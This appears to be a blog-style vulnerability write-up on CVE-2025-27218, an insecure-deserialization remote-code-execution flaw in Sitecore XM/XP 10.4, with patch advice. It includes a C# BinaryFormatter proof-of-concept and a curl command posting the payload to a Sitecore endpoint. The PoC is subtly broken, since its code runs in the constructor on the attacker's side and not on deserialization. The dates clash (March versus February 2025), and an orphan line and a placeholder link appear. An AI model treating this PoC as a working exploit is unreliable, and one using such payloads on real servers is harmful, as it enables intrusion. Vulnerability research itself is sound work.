Sitecore is a popular enterprise-grade content management system used by organizations worldwide. In March 2025, a serious vulnerability was identified in Sitecore Experience Manager (XM) and Experience Platform (XP) version 10.4 — exposing countless high-profile websites to remote code execution. Tracked as CVE-2025-27218, this flaw is present in all 10.4 releases before KB1002844. This article explains the root cause, how attackers can exploit the bug, and what you can do to stay safe.

What is CVE-2025-27218?

CVE-2025-27218 is an insecure deserialization bug. When a web app accepts serialized objects (for example, XML or binary data), and deserializes them insecurely, it may allow attackers to trick the system into running harmful code. In Sitecore 10.4, several components deserialize data without proper checks, paving the way for remote code execution (RCE).

Affected Versions

| Version | Vulnerable? |
|---------------------------------|---------------------|
| Sitecore XM/XP 10.4 before KB1002844 | Yes |
| Sitecore XM/XP 10.4 with KB1002844 | No |
| Sitecore 10.3 and earlier | Not affected |

The Exploit: How It Works

Sitecore’s API endpoints accept serialized objects from user requests. Attackers craft a payload containing a serialized object (for example, using the .NET BinaryFormatter). When Sitecore deserializes this object, it triggers arbitrary code execution — such as creating a reverse shell, dropping ransomware, or stealing data.

Proof-of-Concept (PoC) Exploit

Below is a demonstration of a basic exploit (for educational purposes). It creates a .NET object that, when deserialized by Sitecore, launches the Windows Calculator.

PoC Payload Creation (C#)

// Requires: Newtonsoft.Json, System.Runtime.Serialization.Formatters
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Diagnostics;

[Serializable]
public class Exploit
{
    public Exploit()
    {
        Process.Start("calc.exe"); // Spawns calculator on vulnerable server
    }
}

class Program
{
    static void Main()
    {
        Exploit evil = new Exploit();
        using (FileStream fs = new FileStream("payload.bin", FileMode.Create))
        {
            BinaryFormatter formatter = new BinaryFormatter();
            formatter.Serialize(fs, evil);
        }
        Console.WriteLine("Malicious payload saved as payload.bin");
    }
}

Once the payload is crafted, an attacker would POST it to a vulnerable Sitecore handler

curl -X POST https://vulnerable-sitecore-server/sitecore/some/endpoint \
  --data-binary "@payload.bin" \
  -H "Content-Type: application/octet-stream"

Destruction or defacement of content

Attackers often find vulnerable endpoints by scanning for exposed Sitecore installations.

How to Protect Your Sitecore Environment

Official Fix:
Sitecore released KB1002844, which introduces proper checks during deserialization and closes the dangerous endpoints.

Upgrade Immediately:
Apply KB1002844 to all 10.4 deployments.
Sitecore KB1002844 Official Bulletin *(Direct link when available)*

References

- Sitecore Security Advisory: CVE-2025-27218
- OWASP: Insecure Deserialization
- Microsoft: BinaryFormatter Security Guide

Summary

*CVE-2025-27218* is a dangerous remote code execution vulnerability in Sitecore XM/XP 10.4 before KB1002844, caused by insecure deserialization. Sites running affected versions should patch immediately to avoid compromise. Protect your organization by following security best practices for all internet-facing CMS deployments.

For more technical deep dives and exploit news, stay tuned!

Timeline

Published on: 02/20/2025 05:15:15 UTC
Last modified on: 02/20/2025 21:15:26 UTC